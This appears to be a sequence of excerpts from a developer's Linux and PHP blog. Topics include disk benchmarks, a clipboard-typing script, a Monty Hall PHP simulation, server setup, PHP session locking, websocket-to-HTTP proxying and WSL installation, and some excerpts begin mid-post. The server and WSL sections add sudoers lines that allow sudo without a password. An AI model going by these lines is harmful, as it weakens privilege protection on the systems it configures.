fio --name TEST --filename=temp.file --rw=randrw --size=20m --io_size=100m --blocksize=4k --ioengine=libaio --fsync=1 --iodepth=1 --direct=1 --numjobs=1 --runtime=60 --group_reporting

Look for this line with results:

READ: bw=5594KiB/s (5728kB/s), ...

To test the I/O ping, run:

ioping -c 20 .

Look for this line with results:

min/avg/max/mdev = 178.9 us / 198.9 us / 231.1 us / 23.0 us

The above are results from my USB 3.1 connected “Kingston XS1000 1TB” disk under LUKS (single threaded benchmark). I was hitting about 5600 KiB/s for the single threaded 4K random reads with an I/O ping of about 200 us. This was better than the my internal NMVe disk (that is also LUKS encrypted) on which I was getting 4000 KiB/s throughput and a response time of about 290 us.

Test UASP support

If your performance results are disappointing, then this may be due to the lack of UASP (USB Attached SCSI Protocol) support. You can test for UASP support by issuing the following command:

$ lsusb -v -t | grep Storage -A 1

Look for the “Driver=” string on the device you connected:

|__ Port 003: Dev 009, If 0, Class=Mass Storage, Driver=usb-storage, 480M
    ID 058f:6387 Alcor Micro Corp. Flash Drive

If you see “usb-storage” then UASP is not enabled and your drive will be 2x slower and not support TRIM and such.

|__ Port 001: Dev 006, If 0, Class=Mass Storage, Driver=uas, 5000M
    ID 0951:1780 Kingston Technology

If you see “uas” then UASP is enabled and everything is working optimal!

Links

• bugs.launchpad.net - Bug #1396379: installer uses first EFI system partition found…
• Ask Ubuntu - Install Ubuntu onto an external SSD using VirtualBox?
• StackExchange - How do I install Ubuntu to a USB key?
• Ask Ubuntu - Dual Booting W10/Ubuntu with 2 separate SSDs in UEFI mode
• YouTube - How To Dual Boot Linux Mint And Windows Safely - Avoid Boot Issues
• YouTube - Ubuntu 22.04 on portable bootable external SSD

This small but annoying problem made me want a better solution. I usually play around with bash scripts and xdotool commands, but I always forget the exact syntax, and it’s not very user-friendly. I appreciate how modern terminals show an edit window for multi-line pastes, allowing you to verify or modify the contents. I wanted a “type the clipboard” application that uses this concept. I also dislike the typical 2 to 5 second delay in most tools, which is meant to give you time to select the correct window, but if you’re not fast enough, your clipboard content might be typed somewhere unintended.

I also wanted an icon to click for activating clipboard typing, a shortcut that can be added to a panel, and an application entry in the main menu. It should be easy to bind the script to a shortcut, and also available from the terminal, since that’s where I spend most of my time. These requirements led me to write my own script in bash that uses xclip, xdotool and yad.

I wrote a single-file bash script that fulfills all my needs. This Linux script works only on X11 based desktop environments, such as Cinnamon, XFCE, MATE, LXQt or Budgie. It does not work on GNOME or KDE Plasma, as those are Wayland based. This is fine for me as I currently prefer to use Linux Mint 22 with XFCE or Debian 13 with Cinnamon. A Wayland version could be made in the future, but that’s a separate project. The script is open source (MIT licensed) and available on my GitHub:

https://github.com/mevdschee/type-clipboard.sh

I hope you like it as much as I do. Enjoy!

NB: If you have ideas for improvements, please open an issue in the tracker.

Links

• xdotool-type-clipboard - A simple bash script using xdotool and a delay
• TypeClipboard - A Windows application written in C#
• PyTyper - A Python implementation of a clipboard typer

Suppose you’re on a game show, and you’re given the choice of three doors: Behind one door is a car; behind the others, nothing. You pick a door, say No. 1, and the host, who knows what’s behind the doors, opens another door, say No. 3, which has nothing. He then says to you, “Do you want to pick door No. 2?” Is it to your advantage to switch your choice?

The problem can be simplified and summarized as:

If your initial guess is the car (chance 1/3) then you shouldn’t switch, otherwise you should (and you will win).

To see that this is the case you can write down all possibilities or you can do what I did: a Monte Carlo simulation.

Monte Carlo in PHP

A Monte Carlo simulation is where you execute a probability experiment many times using a random number generator to determine the chances of winning. Here is the code written in PHP:

<?php
// function to determine win on monty hall problem
function monty_hall(array $doors, string $winner, string $chosen, bool $change): bool
{
    while (true) {
        // choose a random door to open
        $open = $doors[array_rand($doors)];
        // if door is not winning and not chosen open it
        if ($open != $winner && $open != $chosen) {
            break;
        }
    }
    // remove the open door from the array
    $doors = array_diff($doors, [$open]);
    // do you want to change?
    if ($change) {
        // remove the chosen door
        $doors = array_diff($doors, [$chosen]);
        // choose another door
        $chosen = $doors[array_rand($doors)];
    }
    return $chosen == $winner;
}
// monte carlo simulation to determine win chance of monty hall problem
$runs = 100000;
$wins = 0;
for ($i = 0; $i < $runs; $i++) {
    // doors is an array of closed doors
    $doors = ["Door 1", "Door 2", "Door 3"];
    // choose a random winning door
    $winner = $doors[array_rand($doors)];
    // choose a random door to open
    $chosen = $doors[array_rand($doors)];
    // increment win count on win
    if (monty_hall($doors, $winner, $chosen, true)) {
        $wins += 1;
    }
}
echo round(100 * $wins / $runs) . "%\n";

See: https://github.com/mevdschee/monty-hall-problem

Happy coding!

Links

• Wikipedia - Monty Hall problem
• Rosetta Code - Monty Hall problem

With Fyne Authenticator I don’t have to unlock my phone to find a TOTP code. Clicking in the system tray menu copies the latest code to the clipboard.

The most important feature is that it can read QR codes from the webcam. This way it can read individual new TOTP tokens and Google Authenticator exports. It uses the Zbar library for that. This allows you to move away from Google Authenticator to the Linux desktop. Some people argue that this is a must to prevent remote deletion of your TOTP tokens.

Another great feature of Fyne Authenticator is the possibility to export your entire set of TOTP tokens as a zip file containing a QR code as png file for each of your tokens. This allows you to easily migrate away from Google Authenticator to any other TOTP manager.

Fyne Authenticator helps me to deGoogle my life by allowing me to move away from Google Authenticator.

Are you a software developer and do you want to make Windows installer or an Android or iOS release? Contact me via Github.

Links

Here are the links to download and install the software:

• Fyne apps: https://apps.fyne.io/apps/com.tqdev.fyne-authenticator.html
• Github: https://github.com/mevdschee/fyne-authenticator

Enjoy!

It allows you to write things like:

$form = E::form([
  E::field(E::text('user')->required(),E::label('Username')),
  E::field(E::password('pass'),E::label('Password')),
  E::field(E::submit('Login')),
]);

That renders as:

You can fill the form using:

$form->fill($_POST);

And you can validate the data using:

$form->validate(); // returns true or false

When the form validates you can extract it’s data:

$data = $form->extract(); // $data = ['user'=>'...','pass'=>'...']

You can render a filled and optionally validated form using:

$form->render(); // outputs the form with data and errors

I’ve implemented this without any dependencies and I’ve written already 44 tests to ensure that the code is stable and working. I’m currently adding some more tests and adding some documentation. Any feedback is more than welcome.

See: https://github.com/mintyphp/forms

Enjoy!

Links / Alternatives

• Alternative #1: github.com/formr/formr
• Alternative #2: github.com/formers/former
• Alternative #3: github.com/oscarotero/form-manager

Install and enable firewall:

sudo apt install ufw
sudo ufw allow 443
sudo ufw allow 80
sudo ufw allow 22
sudo ufw enable

Modify the SSHd config:

sudo nano /etc/ssh/sshd_config

Change the line with “PasswordAuthentication” to:

PasswordAuthentication no

Enable sudo access without password:

echo '%sudo ALL=(ALL) NOPASSWD: ALL' | sudo tee /etc/sudoers.d/nopass

Set root password to “”

sudo apt install pwgen
pwgen 16 
sudo passwd root

Install some other tools:

sudo apt install git wget gzip htop rsync curl less iotop ntp atop btop

Install and enable Apache webserver and PHP:

sudo apt install apache2 libapache2-mpm-itk mariadb-client mariadb-server 
sudo apt install php-cli libapache2-mod-php php-curl php-gd php-igbinary php-intl 
sudo apt install php-mbstring php-memcached php-mysql php-xml php-zip memcached

Set the max allowed packet size to 1GB

sudo nano /etc/mysql/mariadb.conf.d/50-server.cnf

Set the following (uncomment):

max_allowed_packet     = 1G

Also for mysqldump:

sudo nano /etc/mysql/conf.d/mysqldump.cnf

Set the following (increase from 16M):

max_allowed_packet     = 1G

Now restart MariaDB using:

sudo systemctl restart mysql

Set PHP upload and memory limit:

sudo nano /etc/php/8.2/apache2/php.ini

Now make sure the following values are set:

post_max_size = 25M
upload_max_filesize = 25M
memory_limit = 1G

Enable mod-rewrite and mod-ssl and reload:

sudo a2enmod rewrite
sudo a2enmod ssl
sudo systemctl restart apache2

Install CertBot:

sudo apt install certbot python3-certbot-apache

Make sure automatic updates are enabled:

apt-get install unattended-upgrades
sudo dpkg-reconfigure unattended-upgrades

Enjoy!

Introducing the “chat model” to email

Even though I wanted 103mail.com to be a standard compliant IMAP/SMTP server, but I have changed my mind. I tried to implement it as such, but that showed me all the weirdness of email clients. I think this has to do with the design of the email as a protocol to exchange individual messages. This does not match it’s use-case as a protocol to facilitate a conversation between multiple people. Let me illustrate this by giving you some of the many questions that are difficult to answer:

• When you cc somebody on a thread, does that person receive the whole mail thread until then and does that include attachments?
• When you reply to a message half-way a thread, how do other recipients see that non-linear conversation?
• When somebody leaves out somebody else from the conversation, how do the other recipients notice this?
• What happens when you delete a message half-way a thread? Since most other messages contain all content, why is it possible?
• What happens with new replies on a thread when you move a thread from you inbox to another folder?

Okay, so I think I have a better model and it is the “chat model” where a conversation is a ongoing message exchange between 2 or more people. This answers the above questions as: yes, not possible (x3), you move the whole thread. Then you get to other questions about mailboxes and folders such as:

• What is an inbox? Does that also show messages you’ve sent?
• What is sent-items? Does that also show messages you received?
• Can messages be in multiple folders?
• Does every folder show the full thread?
• Do you tag a thread or do you move it?

You can look at many mail clients and come to the conclusion that although we kind-of know how to work with the system, it is hard to explain. In the “chat model” this is much clearer. The inbox is where new conversations land, there is no such thing as sent-items, but you may search for it (it could be a filter). Messages are in one conversation and a conversation is in one box (and cannot move to another box, as that is related to your identity. It is also in one folder, but it can move from one folder to another (within the box). This means you always see the full thread and folders are not tags. You could also have tags (or colors/flags etc) as some email clients do.

Two data models

There is a model around global (immutable) threads (to avoid duplication):

g_thread (subject) --[has many]--> g_message (body)
g_message (body) --[has many]--> g_attachment (filename)
g_thread (subject) --[has many]--> g_subscription (email address)

And there is the customer (or user) specific view of these threads:

customer (name) --[has many]--> user (username)
customer (name) --[has many]--> contact (email)
customer (name) --[has many]--> mailbox (email)
mailbox (email) --[has many]--> alias (email)
mailbox (email) --[has many]--> folder (name)
folder (name) --[has many]--> thread (g_thread)
thread (g_thread) --[has many]--> message (g_message)
message (g_message) --[has many]--> attachment (g_attachment)

The name between round brackets the most important property of the table.

What’s next?

Well, I did a lot of work on the email data model (chat model) and I’m planning to open-source it. I’m still working on defining an API for exchanging data in that model. I’m doing this by implementing the API and the first web client on 103mail.com. The first web client and the API are both work-in-progress. You can see what I got so far here:

https://www.103mail.com/api

Reach out if you want to help me build this.

Links

• TQdev.com - 103mail.com - The plan (2024-04-11)
• TQdev.com - 103mail.com - Update 1 (2024-04-12)
• TQdev.com - 103mail.com - Update 2 (2025-03-30)
• TQdev.com - 103mail.com - Update 3 (2025-11-18)

Although an Apple MacBook Pro M4 seems like the ultimate laptop with it’s 16 inch screen, 48GB RAM and 1TB SSD it clearly is not at EUR 4749. The HP 17-cp3076nd with it’s 8 core CPU maxed out with 64GB RAM and 2TB NVMe storage can be had for about 25% of that price at EUR 1143.

 829 HP 17-cp3076nd with 8 core AMD 7730U CPU - Laptop
 125 64GB 3200Mhz DDR4 2xSODIMM Corsair Vengeance - Memory
 189 2TB Samsung 990 Pro - Disk drive
----+
1143 EUR total price

For a developer the Apple M4 is certainly the worse choice. It may have twice the CPU cores, but ARM is a pain when developing and testing software for deployment to your x86 powered Debian web servers. The HP laptop runs Windows 10 and Linux Mint 22.1 XFCE without a problem, allows you to disable TPM and secure boot and the laptop is easy to open for upgrades and repairs.

A complaint I’ve heard about the HP 17-cp3076nd is that the CPU fan can be a little noisy under load, which is true. What I didn’t read is that the laptop can also be completely silent (most of the time under Linux). Note that if you want the fan to be always on, this can be set in the BIOS that is quite limited, but easy to use.

For my serious software development the HP 17-cp3076nd laptop is great. It has the high-end x86 specs I love while it is still super affordable.

NB: This post was not written on request nor sponsored in any way. I just hate to see developers buy the overpriced, barely usable, Apple MacBook Pro M4.

Links

• HP.com - HP Laptop 17-cp3076nd (8Y7S4EA) Specifications
• YouTube - Notebook-Doktor.de: HP 17-cp0xxx von Innen – tauschen, wechseln, erweitern
• YouTube - Upgrading Newer HP 17.3" Laptop With New RAM And M.2 NVMe SSD
• YouTube - UberGeeks: HP 17 cn0023dx Upgrade Teardown Disassemble

Default lock times

The default session locking as implemented by the “files” save_handler has no expiration. This means that the lock is held as long as the request is executed. If you use Memcache or Redis for session storage, then the lock is automatically released after a certain amount of seconds. I don’t know the exact reasoning for this automatic release, but I guess it is for robustness. In the case that a PHP process crashes the “flock” locks that the “files” handler uses are automatically released, while lock keys in Memcache or Redis are not automatically removed. Below are the maximum session lock times (on a Debian based Linux):

• php-memcache: 15 seconds
• php-memcached: 750 ms
• php-redis: 20 ms (lock disabled by default)

These defaults wildly vary and that does not make much sense. Before explaining what would be a sensible time, lets explain something about PHP’s maximum execution time first.

PHP’s maximum execution time

Find the max execution time:

sudo grep -R max_execution_time /etc/php

On a modern Debian based Linux servers this will show:

/etc/php/8.3/cli/php.ini:max_execution_time = 30
/etc/php/8.3/apache2/php.ini:max_execution_time = 30

This means that PHP’s maximum execution time is 30 seconds.

The set_time_limit() function and the configuration directive max_execution_time only affect the execution time of the script itself. Any time spent on activity that happens outside the execution of the script such as system calls using system(), stream operations, database queries, etc. is not included when determining the maximum time that the script has been running. This is not true on Windows where the measured time is real. - source

So any script can take longer than the maximum execution time, by for instance firing a slow database query (see also this RFC). The user will only receive an error when the script runs longer than Apache wants to wait, as defined in the Apache config:

grep -R ^Timeout /etc/apache2/

By default it says:

/etc/apache2/apache2.conf:Timeout 300

Note that the PHP script is not terminated when Apache breaks the connection after 300 seconds. Note that in Nginx this variable is called “fastcgi_read_timeout” and defaults to 60 seconds.

I feel that any request that takes more than 1 second server render time is taking too long. But if you have API requests that do expensive queries AND that use (even just read) the session, then you may want to have a lock timeout that reflects your actual request runtime to avoid session write losses in other requests for the same session. This may seem counter-intuitive, but read my other posts on this topic to fully understand why this is true.

Using PHP’s Memcache extension

Install using:

sudo apt install memcached php-memcache

How to configure “php.ini”:

session.save_handler="memcache"
session.save_path="tcp://localhost:11211"

What you may want to set in “/etc/php/8.3/mods-available/memcache.ini”:

memcache.lock_timeout=300

Memcache defaults to 15 (seconds) of maximum lock time.

Using PHP’s Memcached (with d) extension

Install using:

sudo apt install memcached php-memcached

How to configure “php.ini”:

session.save_handler="memcached"
session.save_path="localhost:11211"

What you may want to set in “/etc/php/8.3/mods-available/memcached.ini”:

memcached.sess_lock_retries=2000

The default here is 5 retries, leading to 750 milliseconds as the maximum lock time. By increasing the value factor 400 to 2000 retries we get 300 seconds of maximum lock time.

Using PHP’s Redis extension

Install using:

sudo apt install redis php-redis

How to configure “php.ini”:

session.save_handler="redis"
session.save_path="tcp://localhost:6379"

What you may want to set in “/etc/php/8.3/mods-available/redis.ini”:

redis.session.locking_enabled=1
redis.session.lock_wait_time=150000
redis.session.lock_retries=2000

Redis defaults to disabled, a wait time of 2000 (2ms) with 10 retries leading to 20 milliseconds of max lock time. Changing the values makes the session lock work as expected.

Test case

In order to test the execution, you may install Apache2 using:

sudo apt install apache2 libapache2-mod-php php curl

In the file ‘/var/www/html/test.php’ we put:

<?php

//ini_set("session.save_handler", "memcache");
//ini_set("session.save_path", "tcp://localhost:11211");
//ini_set("memcache.lock_timeout","300"); // default 15 (15s)

//ini_set("session.save_handler", "memcached");
//ini_set("session.save_path", "localhost:11211");
//ini_set("memcached.sess_lock_wait_min","150"); // default 150 (150ms)
//ini_set("memcached.sess_lock_wait_max","150"); // default 150 (150ms)
//ini_set("memcached.sess_lock_retries","2000"); // default 5 (try 5x)

//ini_set("session.save_handler", "redis");
//ini_set("session.save_path", "tcp://localhost:6379");
//ini_set("redis.session.locking_enabled","1"); // default 0 (disabled)
//ini_set("redis.session.lock_wait_time","150000"); // default 2000 (2ms) 
//ini_set("redis.session.lock_retries","2000"); // default 10 (try 10x)    

session_start();
if (isset($_SESSION['var'])) {
    echo $_SESSION['var'] += 1;
    sleep(1);
} else {
    $_SESSION['var'] = 0;
}

Now we simply run ’test.sh’:

#!/bin/bash
# set up cookie jar with session cookie
curl -c cookies.txt http://localhost/test.php
# run processes and store pids in array
pids=()
for i in {1..5}; do
  curl -b cookies.txt http://localhost/test.php &
  pids[${i}]=$!
done
# wait for all pids
for pid in ${pids[*]}; do
    wait $pid
done
# remove cookie jar
rm cookies.txt
echo

Now you can run:

bash test.sh

And it should output:

12345

The script fires 5 threads that use the same session and print an increasing counter. If the threads print ‘12345’ your session locking works and if it prints ‘11111’ or even ‘1’ then session locking has failed.

Session locking errors

You can check the ‘/var/log/apache2/error.log’ for errors and you’ll find that when the session locking fails an error is reported there. The php-memcache extension would show the worrying:

AH00051: child pid 72055 exit signal Segmentation fault (11), possible coredump in /etc/apache2

The php-memcached extension would show:

PHP Warning:  session_start(): Failed to read session data: memcached (path: localhost:11211) in /var/www/html/test.php on line 19

And the php-redis extension shows on a failing session lock:

PHP Warning:  PHP Request Shutdown: Failed to write session data (redis). Please verify that the current setting of session.save_path is correct (tcp://localhost:6379) in Unknown on line 0

All in all you would probably find out what the problem is and that the default values configured in these plugins are not what they should have been. I hope this post helped you understand and solve session storage issues.

Enjoy!

Links

• TQdev.com - A session locking test suite for PHP
• TQdev.com - Proposal to fix a 2012 bug in Symfony
• YouTube.com - Session management for high-traffic websites

sudo apt install memcached

In order to allow PHP to talk to Memcache you need the “php-memcache” extension. You can install that with:

sudo apt install php-memcache

Now when you are running PHP 8.3 (the version that is distributed with Linux Mint 22), then you may get this error message:

Creation of dynamic property Memcache::$connection is deprecated

Now check the installed version of the Memcache extension using:

echo '<?php phpinfo();' | php | grep 'memcache support' -A1

You probably see this:

memcache support => enabled
Version => 4.0.5.2

This is due to the version in the repository being a bit behind (4.0.5.2 is from 2019-12-20). You can install this latest version by running:

sudo apt install php-dev zlib1g-dev
sudo apt install php-pear
sudo pecl channel-update pecl.php.net
sudo pecl install memcache

Now check the installed version of the Memcache extension (again) using:

echo '<?php phpinfo();' | php | grep 'memcache support' -A1

If you correctly installed the latest version it should say:

memcache support => enabled
Version => 8.2

You may want to set in “/etc/php/8.3/mods-available/memcache.ini”:

memcache.lock_timeout=300

Memcache defaults to 15 (seconds) of maximum lock time and while that works, I think that is a bit low. Now all you need to do is restart Apache or any other webserver that you are using:

sudo systemctl restart apache2

That’s all. I hope this post helped you!

NB: You may also simply switch from “Memcache” to “Memcached” (if you don’t store sessions in it, see next post).

GopherCon Europe 2024

• Martin Gallauner - From Java to Go: I Have a Hammer and See Nails Everywhere (16:54)
• Robert Laszczak - Rethinking Domain-Driven Design in Go (28:41)
• Raghav Roy - Using Formal Reasoning to Build Concurrent Go Systems (29:27)
• Zvonimir Pavlinovic - Securing Containers Against Known Go Vulnerabilities (21:55)
• Felix Geisendörfer - How to Win Frames and Influence Pointers @felixge (28:02)
• Rabieh Fashwall - Unraveling Go Anti-Patterns (29:46)
• Hila Fish - Technical Documentation (29:49)
• Jonathan Amsterdam - HTTP Routing Enhancements (25:31)
• Chioma Onyekpere - Leveraging Go for Efficient Infrastructure & Data Handling (12:12)
• Travis Cline - Building AI Applications in Go (28:12)
• Go Team Panel (45:36)
• Go in DevOps Panel (43:09)
• Agniva de Sarker - A Deep Dive into the DB Connection Pool (13:00)
• Go Time Podcast (44:01)
• Diana Shevchenko - Memory Optimization through Structure Packaging (14:23)
• Cameron Balahan - The Business of Go (28:38)

GopherCon Europe 2023

• Cameron Balahan - Keynote: The State Of Go (27:51)
• Xe Iaso - Reaching the Unix Philosophy’s Logical Extreme with Webassembly (23:36)
• Robert Grandl - Towards Modern Development of Cloud Applications (26:46)
• Björn Rabenstein - How to Avoid Breaking Changes in your Go Modules (26:30)
• Yiscah Levy Silas - Go Right Ahead! Simple Hacks to Cut Memory Usage by 80& (20:59)
• Maciej Rzasa - API Optimization Tale: Monitor, Fix and Deploy (24:14)
• Julie Qiu - Vulnerability Management for Go (24:17)
• Jonathan Amsterdam - A Fast Structured Logging Package (25:37)
• Go Panel (42:37)
• Drishti Jain - Go Beyond the Console: Developing 2D Games in Go (29:04)
• Ayesha Kaleem - Gentle Introduction to EBPF (19:47)
• Julien Cretel - Useful Functional-Options Tricks for Better Libraries (27:07)
• Giuseppe Scaramuzzino - Unleashing Desktop App Development with Go and Fyne (4:45)
• Robert Burke - I’m Excited to Use Generics in Go 1.21 (7:02)
• Yolan Romailler - TLOCK: Encrypting Messages to the Future in Go (5:27)
• Yusef Mohamadi - Race Conditions in Details (6:38)
• Ron Evans - A Small Update on Tiny Go (8:36)
• GoTime Podcast Live (28:56)
• Elena Grahovac - Why Integration Tests Might be Better than Unit Tests (25:59)
• Mohammed Al Sahaf - The Road to CGO-Less is Paved (30:39)
• Roman Khavronenko - Writing a TSDB from Scratch: Performance Optimization (25:48)
• Yarden Laifenfeld - Go Sync or Go Home (28:43)

Enjoy!

Panels

In order to make the task bar look more familiar for Windows users do:

1. Move the panel from the top to the bottom
2. Remove the second panel
3. Add the “Whisker Menu” to the panel’s “Items”
4. Disable “Dark mode” on the panel’s “Appearance”
5. Disable “Group windows by application” for the “Window Buttons” item

Note that for me Network Manager applet was inversed in color until I logged out and in again.

Windows + Icons

Install dependencies

sudo apt install elementary-xfce-icon-theme 
sudo apt install fonts-noto
sudo apt install greybird-gtk-theme
sudo apt install lightdm-settings
sudo apt install dmz-cursor-theme
sudo apt install mugshot

Change “Appearance” settings

1. Go to “Appearance”
2. Set “Style” to “Greybird”
3. Set “Icons” to “elementary Xfce”
4. Set “Fonts” to “Noto Sans Regular” size 9 and “Noto Mono Regular” size 10
5. Check “Enable anti-aliasing” set “Hinting” to “Slight”

Change “Window Manager” settings

1. Go to “Window Manager”
2. Set “Style” to “Greybird”
3. Set “Title font” to “Noto Sans Bold” size 9

Change “Mouse and Touchpad” settings

1. Go to “Mouse and Touchpad”
2. Go to “Theme”
3. Choose “DMZ (White)” size 24

Change “Login Window” settings

1. Go to “Login Window”
2. Set the correct “Backround” image
3. Set the “GTK theme” to “Greybird”
4. Set the “Icon theme” to “elementary-xfce”
5. Set the “Mouse pointer” to “DMZ-White”
6. Go to “Users”
7. Disable “Allow manual login”
8. Disable “Hide the user list”
9. Fill in the “Username”

This should look familiar if you are used to Mint XFCE or Xubuntu like me.

Firefox instead of Firefox ESR

If you want the always up-to-date firefox as I want then you may want to install Firefox instead of Firefox-ESR using:

wget -q https://packages.mozilla.org/apt/repo-signing-key.gpg -O- | sudo tee /etc/apt/keyrings/packages.mozilla.org.asc > /dev/null
echo "deb [signed-by=/etc/apt/keyrings/packages.mozilla.org.asc] https://packages.mozilla.org/apt mozilla main" | sudo tee -a /etc/apt/sources.list.d/mozilla.list > /dev/null
sudo apt update && sudo apt remove firefox-esr
sudo apt install firefox

Note that by default the profile is not migrated.

Links

• omgubuntu.co.uk - How to Install Firefox DEB on Ubuntu (Not Snap)
• How can I make my Debian / XFCE install feel more like Xubuntu?

What is cloud computing?

Most people nowadays agree that even though your servers are not owned by you or on-premise, this does not make it “cloud computing” or even “cloud native”. In general people believe that cloud is more than “just someone else’s computer” as argued here. Cloud computing has become a term used for good engineering practices in the data-center.

Cloud computing promises

Especially product software companies are embracing “cloud computing” from cloud vendors as it promises:

• Auto scaling, using a homogeneous set of commodity servers (“cattle not pets”)
• High availability, having multiple servers and data-centers with automatic fail-over
• Git-ops, having automated installation of infrastructure
• CI/CD, having automated testing and deployment of your software
• Observability, having monitoring systems in place for your hardware and software
• Security, having access systems in place and the required access logging

They mainly promise to reduce the number of IT hours that one needs to operate and set up these things.

Expectations of engineers

Now also consider this: DevOps engineers should know how to achieve tiered HA using HAproxy behind an automated authoritative DNS with health checks. DevOps engineers should know how to automate the install of a Linux server using DHCP, PXE boot, preseed and Ansible and should know why one needs a management network across their machines. Software engineers should know how to automatically provision Docker containers or KVM virtual machines and run Jenkins builds and automated Unit and Playwright E2E tests on them. Both should be versed in Prometheus and Grafana to add important (more is not better) metrics and alarms to their hardware and software. Security engineers should help to test and deploy infrastructure and code scanning tools to identify issues and help to comply with privacy and security regulations. Architects should design systems with a homogeneous set of commodity servers in mind, so that the software scales easily. Engineers with this knowledge know how everything needed to achieve the cloud computing promises.

Cloud vendor lock-in

If “cloud computing” is a term used for good engineering practices in the data-center, then skilled engineers can easily apply these practices effectively. Buying cloud computing from cloud vendors is NOT making any of the good practices cheaper, but is does provide alternative ways to achieve the same goals, causing a strong vendor lock-in. Some of the things that may cause lock-in are:

• Cloud IP addresses, due to bad use of DNS or IP white-listing
• Cloud tooling, such as CloudFormation
• Cloud infrastructure, such as Lambdas
• Cloud services, such as AWS IAM
• Cloud databases, such as RDS or Aurora

You can imagine that cloud trainings and cloud certifications for junior IT employees play an important role here, but I leave the motivation and effects of that as an exercise to the reader. I’d advice companies to migrate to a different infrastructure provider twice per year, so that they know that their high availability plan works, that they have proper automation and that they don’t fall into the trap of a strong vendor-lock in.

Conclusion

My point is that “cloud computing” is a term used for good engineering practices in the data-center. The “cloud computing” sold by cloud vendors is something different. Their “cloud computing” leads to high bills with a strong vendor lock-in (and intentionally so). Whether or not you call your infrastructure “cloud” is up to you. I wouldn’t, as to me it is a silly word that often does not mean what people think it means. I know I’m talking to knowledgeable people when they say: “Cloud? Isn’t that just someone else’s computer?”.

Mary Branscombe (of ZDnet) explains this as:

The ‘someone else’s computer’ crack can mean a few things. It can mean that someone does know very well what cloud means but they’re fed up of dealing with people who don’t understand that, and want to remind them the cloud is made up of computers, that the laws of physics still apply (maybe you need to care about network latency and whether your storage and your computing is in the same place) and that if you need to care about regulation that you need to pick a cloud service that meets those regulations.

I’ll leave you with that.

Links

• GPN 22 - why the cloud is evil

33k requests per second in PHP

Laravel behind Nginx can do 2908 requests per second on a Dell R440 Xeon Gold + 10 GbE when the average API call is 20 database queries per request (see here). This means that in order to handle 33333 API requests for 1 million websockets you need a minimum of 12 of these machines. Also, the corresponding 666k queries per second may need horizontal scaling of the database (unless the queries are really cheap, see here).

Approximately 2 dedicated machines with Haproxy behind DNS round-robin may be able to handle the reverse proxy load of stripping SSL and distributing over multiple machines for about 33k HTTPS requests (see here).

DNS RR --> 2 x HaProxy --> 2 x WS2API --> 12 x PHP --> 2 x PgSQL

These 33k requests per second can be handled by 2 “WS2API” servers that convert websocket messages to HTTP requests.

How does WS2API work?

So what is it the WS2API project does to allow one to treat websocket messages as HTTP requests? Here are the client initiated flows:

WS client --[ws upgrade]--> WS server --[http get request]--> API server

WS client <--[ws connect]-- WS server <--[http response "ok"]-- API server

WS client --[message]--> WS server --[http post request]--> API server

WS client <--[message]-- WS server <--[http response]-- API server

WS client --[ws close]--> WS server --[http delete request]--> API server

WS client <--[ws disconnect]-- WS server <--[http response "ok"]-- API server

And this is the server initiated flow:

API server --[http post request]--> WS server --[message]--> WS client

Note that responses to server-to-client requests are handled as client-to-server requests.

WS2API, complicated?

I have implemented WS2API several times in different languages and frameworks:

• Go with GWS (source)
• PHP with OpenSwoole (source)
• PHP with Swow (source)

It is only 200 lines of code, so it is easy to port to any language/library. Here is a stress test (connection ramp-up) with 1 message per 10 seconds instead of per 30 seconds on a single instance of the above software:

As you can see the RPS (request per second) and connection ramp-up are very good in Go, helping in cold-start situations.

A nicer diagram

Note that there is no centralized connection lookup needed as every requests is always (consistently) mapped to the same WS2API “ws proxy” server as long as each client connects with a unique “Client ID” string in the URI path. This ClientID is also used as an address when sending messages back to the websocket client.

Conclusion

If you want to deal with 1 million websocket connections it may be beneficial to convert the websocket messages to HTTP requests. This way you can deal with a “normal” high traffic web application, instead of a custom websocket solution. WS2API does this for you and WS2API as a concept that is easy to implement.

See: https://github.com/mevdschee/ws2api

Enjoy!

Links

• Sergey Kamardin - A Million WebSockets and Go
• Github.com - 1 Million Websockets with Node.JS
• WebSocket — 1 Million Connections using Appwrite
• Simple proxy between WebSockets and TCP servers
• Centrifugal.dev - Scaling WebSocket in Go and beyond

wsl --list --online

Output is:

The following is a list of valid distributions that can be installed.
The default distribution is denoted by '*'.
Install using 'wsl --install -d <Distro>'.

  NAME                            FRIENDLY NAME
* Ubuntu                          Ubuntu
  Debian                          Debian GNU/Linux
  kali-linux                      Kali Linux Rolling
  Ubuntu-18.04                    Ubuntu 18.04 LTS
  Ubuntu-20.04                    Ubuntu 20.04 LTS
  Ubuntu-22.04                    Ubuntu 22.04 LTS
  Ubuntu-24.04                    Ubuntu 24.04 LTS
  OracleLinux_7_9                 Oracle Linux 7.9
  OracleLinux_8_7                 Oracle Linux 8.7
  OracleLinux_9_1                 Oracle Linux 9.1
  openSUSE-Leap-15.6              openSUSE Leap 15.6
  SUSE-Linux-Enterprise-15-SP5    SUSE Linux Enterprise 15 SP5
  SUSE-Linux-Enterprise-15-SP6    SUSE Linux Enterprise 15 SP6
  openSUSE-Tumbleweed             openSUSE Tumbleweed

If you want to install Debian, you run:

wsl --install --distribution Debian

Output:

Installing: Virtual Machine Platform
Virtual Machine Platform has been installed.
Installing: Windows Subsystem for Linux
Windows Subsystem for Linux has been installed.
Installing: Windows Subsystem for Linux
Windows Subsystem for Linux has been installed.
Installing: Debian GNU/Linux
Debian GNU/Linux has been installed.

Now we have to restart Windows to enable WSL (v2). Then we see:

Installing, this may take a few minutes...
Please create a default UNIX user account. The username does not need to match your Windows username.
For more information visit: https://aka.ms/wslusers
Enter new UNIX username: maurits
Adding user `maurits' ...
Adding new group `maurits' (1000) ...
Adding new user `maurits' (1000) with group `maurits (1000)' ...
Creating home directory `/home/maurits' ...
Copying files from `/etc/skel' ...
New password:
Retype new password:
No password has been supplied.
New password:
Retype new password:
No password has been supplied.
New password:
Retype new password:
No password has been supplied.
passwd: Authentication token manipulation error
passwd: password unchanged
Try again? [y/N] N
Changing the user information for maurits
Enter the new value, or press ENTER for the default
        Full Name []:
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n]
Adding new user `maurits' to supplemental / extra groups `users' ...
Adding user `maurits' to group `users' ...

We can see the running WSL from a command prompt:

wsl --list -v

Output is:

  NAME      STATE           VERSION
* Debian    Running         2

See how we didn’t enter a password? It is not really required. Now open a windows prompt:

wsl -u root

Now type the following from within WSL to allow sudo without a password:

echo "maurits ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers

Now you can exit and start the WSL again and use “sudo” without a password. Install some requirements from WSL:

